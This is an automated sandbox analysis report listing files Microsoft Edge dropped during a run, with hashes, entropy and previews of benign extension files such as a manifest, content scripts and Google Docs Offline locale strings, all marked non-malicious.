SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7732_1061089770\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7732_1061089770\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\2d990d95-7229-4d62-b941-615cc17937b6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7732_2127480048\CRX_INSTALL\_locales\el\messages.json

Download File

